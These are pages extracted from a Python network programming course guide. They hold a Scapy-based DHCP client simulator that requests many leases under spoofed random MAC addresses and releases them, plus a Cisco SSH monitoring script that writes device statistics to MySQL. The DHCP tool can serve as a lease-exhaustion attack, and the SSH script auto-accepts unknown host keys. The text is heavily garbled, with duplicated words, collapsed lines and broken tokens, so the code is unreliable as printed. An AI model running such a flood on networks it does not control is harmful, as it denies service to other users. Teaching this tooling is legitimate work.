\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 Page 29 of 185
30
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\', hops=0, giaddr=\'0.0.0.0\', giaddr=\'0.0.0.0\', chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00", yiaddr=\'0.0.0.0\', yiaddr=\'0.0.0.0\', secs=0, flags=0L, htype=1, file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\', siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=1)/DHCP(options=[(\'messagetype\', 3), (\'server_id\', \'192.168.2.111\'), (\'requested_addr\', \'192.168.2.1\'), (\'hostname\', \'kali-teo\'), (\'param_req_list\', \'\\x01\\x1c\\x02\\x03\\x0f\\x06w\\x0c,/\\x1ay*\'), \'end\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])' DHCP ACK: 'Ether(src=\'c0:04:1a:5c:00:01\', dst=\'08:00:27:f9:51:87\', type=2048)/IP(frag=0L, src=\'192.168.2.111\', proto=17, tos=0, dst=\'192.168.2.1\', chksum=13539, len=328, options=[], version=4L, flags=0L, ihl=5L, ttl=255, id=1)/UDP(dport=68, sport=67, len=308, chksum=18582)/BOOTP(hlen=6, sname=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\', xid=398202904, ciaddr=\'0.0.0.0\', hops=0, giaddr=\'0.0.0.0\', giaddr=\'0.0.0.0\', chaddr="\\x08\\x00\'\\xf9Q\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00", yiaddr=\'192.168.2.1\', secs=0, flags=0L, htype=1, file=\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0 0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\ x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\ \x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\', siaddr=\'0.0.0.0\', options=\'c\\x82Sc\', op=2)/DHCP(options=[(\'messagetype\', 5), (\'server_id\', \'192.168.2.111\'), (\'lease_time\', 86400), (\'renewal_time\', 43200), (\'rebinding_time\', 75600), (\'subnet_mask\', \'255.255.255.0\'), \'end\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\', \'pad\'])' ''' Page 30 of 185
31
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
import import import import
subprocess logging random sys
#This will suppress all messages that have a lower level of seriousness than error messages, while running or loading Scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.interactive").setLevel(logging.ERROR) logging.getLogger("scapy.loading").setLevel(logging.ERROR) try: from scapy.all import * except ImportError: print "Scapy package for Python is not installed on your system." print "Get it from https://pypi.python.org/pypi/scapy and try again." sys.exit()
#To see a list of what commands Scapy has available, run the lsc() function. #Run the ls() command to see ALL the supported protocols. #Run the ls(protocol) command to see the fields and default values for any protocol. #See packet layers with the .summary() function. #See packet contents with the .show() function. #Dig into a specific packet layer using a list index: pkts[3][2].summary()... #...the first index chooses the packet out of the pkts list, the second index chooses the layer for that specific packet. #Using the .command() packet method will return a string of the command necessary to recreate that sniffed packet.
print "\n! Make sure to run this program as ROOT !\n" #Setting network interface in promiscuous mode net_iface = raw_input("Enter the interface to the target network: ") subprocess.call(["ifconfig", net_iface, "promisc"], stdout=None, stderr=None, stderr=None, shell=False) shell=False) print "\nInterface %s was set to PROMISC mode." % net_iface
Page 31 of 185
32
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. #But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.2.101). #Because these IP addresses don't match, we have to disable Scapy's check with conf.checkIPaddr conf.checkIPaddr = False before sending the stimulus. #Source: https://bitbucket.org/pbi/test/wiki/doc/IdentifyingRogueDHCPServers conf.checkIPaddr conf.checkIPaddr = False ############# Application #3 - Part #2 ############# ################## DHCP SEQUENCE ################# all_given_leases all_given_leases = [] server_id = [] client_mac = [] #Generate entire DHCP sequence def generate_dhcp_seq(): global all_given_leases #Defining some DHCP parameters x_id = random.randrange(1, 1000000) hw = "00:00:5e" + str(RandMAC())[8:] hw_str = mac2str(hw) #print hw #Assigning the .command() output of a captured DHCP DISCOVER packet to a variable dhcp_dis_pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src=hw)/IP(src="0.0.0.0",dst="255.255.255.255") / UDP(sport=68,dport=67)/BOOTP(op=1, xid=x_id, chaddr=hw_str)/DHCP(options=[("message-type","discover"),("end")]) #Sending the DISCOVER packet and catching the OFFER reply #Generates two lists (answ and unansw). answd is a list containg a tuple: the first element is the DISCOVER packet, the second is the OFFER packet answd, unanswd = srp(dhcp_dis_pkt, iface=pkt_inf, timeout = 2.5, verbose=0) #print #print #print #print #print
answd unanswd answd.summary() unanswd.summary() answd[0][1][BOOTP].yiaddr
#The IP offered by the DHCP server to the client is extracted from the received answer offered_ip = answd[0][1][BOOTP].yiaddr #print offered_ip Page 32 of 185
33
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Assigning the .command() output of a captured DHCP REQUEST packet to a variable dhcp_req_pkt = Ether(dst="ff:ff:ff:ff:ff:ff", src=hw)/IP(src="0.0.0.0",dst="255.255.255.255") / UDP(sport=68,dport=67)/BOOTP(op=1, xid=x_id, chaddr=hw_str)/DHCP(options=[("message-type","request"),("requested_addr", offered_ip),("end")]) #Sending the REQUEST for the offered IP address #Capturing the ACK from the server answr, unanswr = srp(dhcp_req_pkt, iface=pkt_inf, timeout = 2.5, verbose=0) #print #print #print #print
answr unanswr answr[0][1][IP].src answr[0][1][BOOTP].yiaddr
#The IP offered by the DHCP server to the client is extracted from the received answer offered_ip_ack = answr[0][1][BOOTP].yiaddr #DHCP Server IP/ID server_ip = answr[0][1][IP].src #print server_ip #Adding each leased IP to the list of leases all_given_leases.append(offered_ip_ack) #Adding the server IP to a list server_id.append(server_ip) client_mac.append(hw) return all_given_leases, server_id, client_mac ############# Application #3 - Part #3 ############# ################## DHCP RELEASE ################# def generate_dhcp_release(ip, hw, server): #Defining DHCP Transaction ID x_id = random.randrange(1, 1000000) hw_str = mac2str(hw) #Creating the RELEASE packet dhcp_rls_pkt = IP(src=ip,dst=server) / UDP(sport=68,dport=67)/BOOTP(chaddr=hw_str, ciaddr=ip, xid=x_id)/DHCP(options=[("message-type","release"),("server_id", server),("end")])
Page 33 of 185
34
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Sending the RELEASE packet send(dhcp_rls_pkt, verbose=0) ############# Application #3 - Part #4 ############# ################## USER MENU ################# try: #Enter option for the first screen while True: print "\nUse this tool to:\ns - Simulate DHCP Clients\nr Simulate DHCP Release\ne - Exit program\n" user_option_sim = raw_input("Enter your choice: ") if user_option_sim == "s": print "\nObtained leases will be exported to 'DHCP_Leases.txt'!" pkt_no = raw_input("\nNumber of DHCP clients to simulate: ") pkt_inf = raw_input("Interface on which to send packets: ") print "\nWaiting for clients to obtain IP addresses...\n" try: #Calling the function for the required number of times (pkt_no) for iterate in range(0, int(pkt_no)): all_leased_ips = generate_dhcp_seq()[0] #print all_leased_ips except IndexError: print "No DHCP Server detected or connection is broken." print "Check your network settings and try again.\n" sys.exit() #List of all leased IPs dhcp_leases = open("DHCP_Leases.txt", "w") #print all_leased_ips #print server_id #print client_mac #Print each leased IP to the file for index, each_ip in enumerate(all_leased_ips): print >>dhcp_leases, each_ip + "," + server_id[index] + "," + client_mac[index] dhcp_leases.close()
Page 34 of 185
35
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
continue elif user_option_sim == "r": while True: print "\ns - Release a single address\na - Release all addresses\ne - Exit to the previous screen\n" user_option_release = raw_input("Enter your choice: ") if user_option_release == "s": print "\n" user_option_address = raw_input("Enter IP address to release: ") #print all_leased_ips #print server_id #print client_mac try: #Check if required IP is in the list and run the release function for it if user_option_address in all_leased_ips: index = all_leased_ips.index(user_option_address) generate_dhcp_release(user_option_address, client_mac[index], server_id[index]) print "\nSending RELEASE packet...\n" else: print "IP Address not in list.\n" continue except (NameError, IndexError): print "\nSimulating DHCP RELEASES cannot be done separately, without prior DHCP Client simulation." print "Restart the program and simulate DHCP Clients and RELEASES in the same program session.\n" sys.exit() elif user_option_release == "a": #print all_leased_ips #print server_id #print client_mac try: #Check if required IP is in the list and run the release function for it for user_option_address in all_leased_ips:
Page 35 of 185
36
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
index = all_leased_ips.index(user_option_address) generate_dhcp_release(user_option_address, client_mac[index], server_id[index]) except (NameError, IndexError): print "\nSimulating DHCP RELEASES cannot be done separately, without prior DHCP Client simulation." print "Restart the program and simulate DHCP Clients and RELEASES in the same program session.\n" sys.exit() print "\nThe RELEASE packets have been sent.\n" #Erasing all leases from the file open("DHCP_Leases.txt", "w").close() print "File 'DHCP_Leases.txt' has been cleared." continue else: break else: print "Exiting... See ya...\n\n" sys.exit() except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit() #End of program
Page 36 of 185
37
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.7. 2.7. Appl ication icati on #4 - Netw Network ork parameters parameters extract ion (full code, reference: reference: Section 16. Application #4 - Network Network p arameters arameters extraction )
Logic al flow diagram diagram
Page 37 of 185
38
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
############# Application #4 - Part #1 ############# #Configure the permissions on the script first! 'chmod 755 script.py" #Make sure to have SSHv2 enabled and RSA 1024 bit key generated on every device! import import import import import import import import import
MySQLdb as mdb paramiko threading os.path subprocess datetime time sys re
#Module for output coloring from colorama import init, deinit, Fore, Style # Procedure for configuring Linux scheduler: # root@kali:/# crontab -l view scheduled tasks # root@kali:/# crontab -e edit scheduler # Add the following line to run the script every 5 minutes, every hour, every day, every month: # */5 * * * * /path_to_file/NetMon_SQL_v1.py /path_to_file/NETWORK_IP /path_to_file/SSH_USERPASS.txt /path_to_file/SQL_CONN.txt # For more info about configuring scheduler: http://kvz.io/blog/2007/07/29/schedule-tasks-on-linux-using-crontab/ # Before scheduling this task, run the script in the console to check for errors: # Go to the folder containing containing the script and all files, using cd /netmon_folder_path # Enter this command: python NetMon_SQL_v1.py NETWORK_IP.txt SSH_USERPASS.txt SQL_CONN.txt # Check the console output and SQL_Error_Log.txt file for any errors. # Running the script is recommended at intervals of at least 5 minutes. #Initialize colorama init() #Checking number of arguments passed into the script if len(sys.argv) == 4: ip_file = sys.argv[1] user_file = sys.argv[2] sql_file = sys.argv[3] print Fore.BLUE + Style.BRIGHT + "\n\n* The script will be executed using files:\n" print Fore.BLUE + "Cisco network IP file is: " + Fore.YELLOW + "%s" % ip_file
Page 38 of 185
39
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print Fore.BLUE + "SSHv2 connection file is: " + Fore.YELLOW + "%s" % user_file print Fore.BLUE + "MySQL connection file is: " + Fore.YELLOW + "%s" % sql_file print Fore.BLUE + Style.BRIGHT + "\n" else: print Fore.RED + Style.BRIGHT + "\nIncorrect number of arguments (files) passed into the script." print Fore.RED + "Please try again.\n" sys.exit() #Checking IP address file and content validity def ip_is_valid(): check = False global ip_list while True: #Changing exception message try: #Open user selected file for reading (IP addresses file) selected_ip_file = open(ip_file, 'r') #Starting from the beginning of the file selected_ip_file.seek(0) #Reading each line (IP address) in the file ip_list = selected_ip_file.readlines() #Closing the file selected_ip_file.close() except IOError: print Fore.RED + "\n* File %s does not exist! Please check and try again!\n" % ip_file sys.exit() #Checking octets for ip in ip_list: a = ip.split('.') if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) != 127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255 and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255): check = True break else: print '\n* There was an INVALID IP address! Please check and try again!\n' check = False continue
Page 39 of 185
40
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Evaluating the 'check' flag if check == False: sys.exit() elif check == True: break #Checking IP reachability print "* Checking IP reachability... Please wait...\n" check2 = False while True: for ip in ip_list: ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', 'q', '-n', ip], stdout = subprocess.PIPE) if ping_reply == 0: check2 = True continue elif ping_reply == 2: print Fore.RED + "\n* No response from device %s." % ip check2 = False break else: print Fore.RED + "\n* Ping to the following device has FAILED:", ip check2 = False break #Evaluating the 'check' flag if check2 == False: print Fore.RED + "* Please re-check IP address list or device.\n" sys.exit() elif check2 == True: print '\n* All devices are reachable. Checking SSHv2 connection file...\n' break #Checking user file validity def user_is_valid(): global user_file while True: #Changing output messages if os.path.isfile(user_file) == True: print "\n* SSHv2 connection file has been validated. Checking MySQL connection file...\n" break
Page 40 of 185
41
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
else: print Fore.RED + "\n* File %s does not exist! Please check and try again!\n" % user_file sys.exit() #Checking SQL connection command file validity def sql_is_valid(): global sql_file while True: #Changing output messages if os.path.isfile(sql_file) == True: print "\n* MySQL connection file has been validated...\n" print "\n* Any MySQL errors will be logged to: " + Fore.YELLOW + "SQL_Error_Log.txt\n" + Fore.BLUE print "\n* Reading network data and writing to MySQL...\n" break else: print Fore.RED + "\n* File %s does not exist! Please check and try again!\n" % sql_file sys.exit() #Change exception message try: #Calling IP validity function ip_is_valid() except KeyboardInterrupt: print Fore.RED + "\n\n* Program aborted by user. Exiting...\n" sys.exit() #Change exception message try: #Calling user file validity function user_is_valid() except KeyboardInterrupt: print Fore.RED + "\n\n* Program aborted by user. Exiting...\n" sys.exit() #Change exception message try: #Calling MySQL file validity function sql_is_valid() except KeyboardInterrupt: print Fore.RED + "\n\n* Program aborted by user. Exiting...\n" sys.exit() ############# Application #4 - Part #2 ############# check_sql = True def sql_connection(command, values): Page 41 of 185
42
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
global check_sql #Define SQL connection parameters selected_sql_file = open(sql_file, 'r') #Starting from the beginning of the file selected_sql_file.seek(0) sql_host = selected_sql_file.readlines()[0].split(',')[0] #Starting from the beginning of the file selected_sql_file.seek(0) sql_username = selected_sql_file.readlines()[0].split(',')[1] #Starting from the beginning of the file selected_sql_file.seek(0) sql_password = selected_sql_file.readlines()[0].split(',')[2] #Starting from the beginning of the file selected_sql_file.seek(0) sql_database = selected_sql_file.readlines()[0].split(',')[3].rstrip("\n") #Connecting and writing to database try: sql_conn = mdb.connect(sql_host, sql_username, sql_password, sql_database) cursor = sql_conn.cursor() cursor.execute("USE NetMon") cursor.execute(command, values) #Commit changes sql_conn.commit() except mdb.Error, e: sql_log_file = open("SQL_Error_Log.txt", "a") #Print any SQL errors to the error log file print >>sql_log_file, str(datetime.datetime.now()) + ": Error %d: %s" % (e.args[0],e.args[1]) #Closing sql log file: sql_log_file.close() #Setting check_sql flag to False if any sql error occurs check_sql = False #Closing the sql file Page 42 of 185
43
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
selected_sql_file.close() #Initialize the necessary lists and dictionaries cpu_values = [] io_mem_values = [] proc_mem_values = [] upint_values upint_values = [] top3_cpu = {} top3_io_mem = {} top3_proc_mem = {} top3_upint = {} #Open SSHv2 connection to devices def open_ssh_conn(ip): global check_sql #Change exception message try: #Define SSH parameters selected_user_file = open(user_file, 'r') #Starting from the beginning of the file selected_user_file.seek(0) #Reading the username from the file username = selected_user_file.readlines()[0].split(',')[0] #Starting from the beginning of the file selected_user_file.seek(0) #Reading the password from the file password = selected_user_file.readlines()[0].split(',')[1].rstrip("\n") #Logging into device session = paramiko.SSHClient() #For testing purposes, this allows auto-accepting unknown host keys #Do not use in production! The default would be RejectPolicy session.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #Connect to the device using username and password session.connect(ip, username = username, password = password) #Start an interactive shell session on the router connection = session.invoke_shell() #Setting terminal length for entire output - disable pagination connection.send("terminal length 0\n") time.sleep(1)
Page 43 of 185
44
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Entering global config mode #connection.send("\n") #connection.send("configure terminal\n") #time.sleep(1) #Reading commands from within the script #Using the "\" line continuation character for better readability of the commands to be sent selected_cisco_commands = '''show version | include (, Version|uptime Version|uptime is|bytes of memory|Hz)&\ memory|Hz)&\ show inventory&\ show interfaces | include bia&\ show processes cpu | include CPU utilization&\ show memory statistics&\ show ip int brief | include (Ethernet|Serial)&\ show cdp neighbors detail | include Device ID&\ show ip protocols | include Routing Protocol''' #Splitting commands by the "&" character command_list = selected_cisco_commands.split("&") #Writing each line in the command string to the device for each_line in command_list: connection.send(each_line + '\n') time.sleep(3) #Closing the user file selected_user_file.close() #Checking command output for IOS syntax errors output = connection.recv(65535) if re.search(r"% Invalid input detected at", output): print Fore.RED + "* There was at least one IOS syntax error on device %s" % ip else: print Fore.GREEN + "* All parameters were extracted from device %s" % ip, #Test for reading command output #print output + "\n" ############# Application #4 - Part #3 ############# #Extracting device parameters #...starting with the ones destined to the NetworkDevices table in MySQL dev_hostname = re.search(r"(.+) uptime is", output) Page 44 of 185
45
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
hostname = dev_hostname.group(1) #print hostname dev_mac = re.findall(r"\(bia (.+?)\)", output) #print dev_mac mac = dev_mac[0] #print mac dev_vendor = re.search(r"(.+?) (.+) bytes of memory", output) vendor = dev_vendor.group(1) #print vendor dev_model = re.search(r"(.+?) (.+?) (.+) bytes of memory", output) model = dev_model.group(2) #print model dev_image_name = re.search(r" \((.+)\), Version", output) image_name = dev_image_name.group(1) #print image_name dev_os = re.search(r"\), Version (.+),", output) os = dev_os.group(1) #print os serial_no = "" if len(re.findall(r"(.+), SN: (.+?)\r\n", output)) == 0: serial_no = "unknown" else: serial_no = re.findall(r"(.+), re.findall(r"(.+), SN: (.+?)\r\n", output)[0][1].strip() #print serial_no dev_uptime = re.search(r" uptime is (.+)\n", output) uptime = dev_uptime.group(1) uptime_value_list = uptime.split(', ') #Getting the device uptime in seconds y_sec = 0 w_sec = 0 d_sec = 0 h_sec = 0 m_sec = 0 for j in uptime_value_list: if 'year' in j: y_sec = int(j.split(' ')[0]) * 31449600 elif 'week' in j: w_sec = int(j.split(' ')[0]) * 604800 elif 'day' in j: d_sec = int(j.split(' ')[0]) * 86400
Page 45 of 185
46
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
elif 'hour' in j: h_sec = int(j.split(' ')[0]) * 3600 elif 'minute' in j: m_sec = int(j.split(' ')[0]) * 60 total_uptime_sec = y_sec + w_sec + d_sec + h_sec + m_sec #print total_uptime_sec cpu_model = "" if re.search(r".isco (.+?) \((.+)\) processor(.+)\n", output) == None: cpu_model = "unknown" else: cpu_model = re.search(r".isco (.+?) \((.+)\) processor(.+)\n", output).group(2) #print cpu_model cpu_speed = "" if re.search(r"(.+?)at (.+?)MHz(.+)\n", output) == None: cpu_speed = "unknown" else: cpu_speed = re.search(r"(.+?)at (.+?)MHz(.+)\n", output).group(2) #print cpu_speed serial_int = "" if re.findall(r"Serial([0-9]*)/([0-9]*) (.+)\n", output) == None: serial_int = "no serial" else: serial_int = len(re.findall(r"Serial([0-9]*)/([0-9]*) (.+)\n", output)) #print serial_int dev_cdp_neighbors = re.findall(r"Device ID: (.+)\r\n", output) all_cdp_neighbors = ','.join(dev_cdp_neighbors) #print all_cdp_neighbors dev_routing_pro = re.findall(r"Routing Protocol is \"(.+)\"\r\n", output) #print dev_routing_pro is_internal is_internal = [] is_external is_external = [] for protocol in dev_routing_pro: if 'bgp' in protocol: is_external.append(protocol) else: is_internal.append(protocol) internal_pro = ','.join(is_internal) external_pro = ','.join(is_external) #print internal_pro #print external_pro Page 46 of 185
47
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
############# Application #4 - Part #4 ############# ### CPU ### dev_cpu_util_per5min = re.search(r"CPU utilization for five seconds: (.+) five minutes: (.+?)%", output) cpu_util_per5min = dev_cpu_util_per5min.group(2) #print cpu_util_per5min #Append CPU value for each device to the cpu_values list cpu_values.append(int(cpu_util_per5min)) #Get top 3 CPU devices top3_cpu[hostname] = cpu_util_per5min ### Processor Memory ### dev_used_proc_mem = re.search(r"Processor(.+)\n ", output) dev_used_proc_mem = dev_used_proc_mem.group(1) #print dev_used_proc_mem total_proc_mem = dev_used_proc_mem.split(' dev_used_proc_ mem.split(' used_proc_mem = dev_used_proc_mem.split(' dev_used_proc _mem.split(' #print total_proc_mem #print used_proc_mem
')[2].strip() ')[2].strip( ) ')[3].strip()
#Get percentage of used proc mem proc_mem_percent = format(int(used_proc_mem) * 100 / float(total_proc_mem), ".2f") #print proc_mem_percent #Append used proc memory values for each device to the mem_values list proc_mem_values.append(float(proc_mem_percent)) #Get top 3 proc memory devices top3_proc_mem[hostname] = proc_mem_percent ### I/O Memory ### dev_used_io_mem = re.search(r" I/O(.+)\n", output) dev_used_io_mem = dev_used_io_mem.group(1) #print dev_used_io_mem total_io_mem = dev_used_io_mem.split(' dev_used_io_me m.split(' used_io_mem = dev_used_io_mem.split(' dev_used_io_m em.split(' #print total_io_mem #print used_io_mem
')[2].strip() ')[2].strip( ) ')[3].strip()
#Get percentage of used proc mem io_mem_percent = format(int(used_io_mem) * 100 / float(total_io_mem), ".2f") #print io_mem_percent Page 47 of 185
48
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Append used I/O memory values for each device to the mem_values list io_mem_values.append(float(io_mem_percent)) #Get top 3 I/O memory devices top3_io_mem[hostname] = io_mem_percent ### UP Interfaces ### dev_total_int = re.findall(r"([A-Za-z]*)Ethernet([09]*)(.+)YES(.+)\n", output) total_int = len(dev_total_int) #print total_int dev_total_up_int = re.findall(r"(.+)Ethernet([0-9]*)/([09]*)[\s]*(.+)up[\s]*up", output) total_up_int = len(dev_total_up_int) #print total_up_int #Get percentage of Eth UP interfaces out of the total number of Eth interfaces intf_percent = format(total_up_int * 100 / float(total_int), ".2f") #print intf_percent #Append percentage of UP interfaces for each device to the upint_values upint_values list upint_values.append(float(intf_percent)) #Get top 3 UP Eth interfaces density devices top3_upint[hostname] = intf_percent #Insert/Update if exists all network devices data into the MySQL database table NetworkDevices. Calling sql_connection function sql_connection("REPLACE INTO NetworkDevices(Hostname,MACAddr,Vendor,Model,Image,IOSVersion,SerialNo,Upt ime,CPUModel,CPUSpeed,SerialIntfNo,CiscoNeighbors,IntRoutingPro,ExtRouting Pro) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)", (hostname, mac, vendor, model, image_name, os, serial_no, total_uptime_sec, cpu_model, cpu_speed, serial_int, all_cdp_neighbors, internal_pro, external_pro)) #Closing the SSH connection session.close() except paramiko.AuthenticationException: print Fore.RED + "* Invalid SSH username or password. \n* Please check the username/password file or the device configuration!\n" check_sql = False #Creating threads def create_threads(): threads = [] Page 48 of 185
49
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
for ip in ip_list: th = threading.Thread(target = open_ssh_conn, args = (ip,)) #args is a tuple with a single element th.start() threads.append(th) for th in threads: th.join() #Calling threads creation function create_threads() ############# Application #4 - Part #5 ############# #Poll date and time are based on the system clock poll_timestamp poll_timestamp = datetime.datetime.now datetime.datetime.now() () #print poll_timestamp ###Testing code### #print cpu_values #print proc_mem_values #print io_mem_values #print upint_values #print #print #print #print ###
top3_cpu top3_proc_mem top3_io_mem top3_upint
#Defining a function to get top 3 devices in CPU/mem/intf usage def top3(each_dict): global top3_list top3 = [] for host, usage in sorted(each_dict.items(), key = lambda x: x[1], reverse = True)[:3]: top3.append(host) top3_list = ",".join(top3) #print top3_list #CPU average function def cpu_average(): try: cpu = sum(cpu_values) / float(len(cpu_values)) #Calling the top3 function for the CPU dictionary top3(top3_cpu) #Write values to the MySQL database CPUUtilization table sql_connection("INSERT INTO CPUUtilization(NetworkCPUUtilizationPercent,Top3CPUDevices,PollTimestamp) VALUES(%s, %s, %s)", (cpu, top3_list, poll_timestamp)) Page 49 of 185
50
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
except ZeroDivisionError: print "* There was an error while computing a network parameter. No record has been added to MySQL. Please retry." cpu_average() #Used proc memory average function def mem_proc_average(): try: mem_proc = sum(proc_mem_values) / float(len(proc_mem_values)) #Calling the top3 function for the mem proc dictionary top3(top3_proc_mem) #Write values to the MySQL database ProcMemUtilization table sql_connection("INSERT INTO ProcMemUtilization(NetworkProcMemUtilizationPercent,Top3ProcMemDevices,Pol lTimestamp) VALUES(%s, %s, %s)", (mem_proc, top3_list, poll_timestamp)) except ZeroDivisionError: print "* There was an error while computing a network parameter. No record has been added to MySQL. Please retry." mem_proc_average() #Used I/O memory average function def mem_io_average(): try: mem_io = sum(io_mem_values) / float(len(io_mem_values)) #Calling the top3 function for the mem I/O dictionary top3(top3_io_mem) #Write values to the MySQL database IOMemUtilization table sql_connection("INSERT INTO IOMemUtilization(NetworkIOMemUtilizationPercent,Top3IOMemDevices,PollTimes tamp) VALUES(%s, %s, %s)", (mem_io, top3_list, poll_timestamp)) except ZeroDivisionError: print "* There was an error while computing a network parameter. No record has been added to MySQL. Please retry." mem_io_average() #Total UP Eth interfaces function def upint_total(): try: upint = sum(upint_values) / float(len(upint_values)) #Calling the top3 function for the UP intf dictionary top3(top3_upint) #Write values to the MySQL database UPEthInterfaces table Page 50 of 185
51
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
sql_connection("INSERT INTO UPEthInterfaces(NetworkUPEthIntfPercent,Top3UPEthIntf,PollTimestamp) VALUES(%s, %s, %s)", (upint, top3_list, poll_timestamp)) except ZeroDivisionError: print "* There was an error while computing a network parameter. No record has been added to MySQL. Please retry." upint_total() #print check_sql if check_sql == True: print "\n* All parameters were successfully exported to MySQL." else: print Fore.RED + "\n* There was a problem exporting data to MySQL.\n* Check the files, database and SQL_Error_Log.txt.\n" SQL_Error_Log.txt.\n" #De-initialize #De-initialize colorama deinit() #End of program
Page 51 of 185
52
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.8. 2.8. Appli cation #5 - OSP OSPF F network networ k d isc overy via SNMP SNMP (full code, reference: Section 17. Application #5 - OSPF network discovery via SNMP)
Logic al flow diagram diagram
Page 52 of 185
53
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
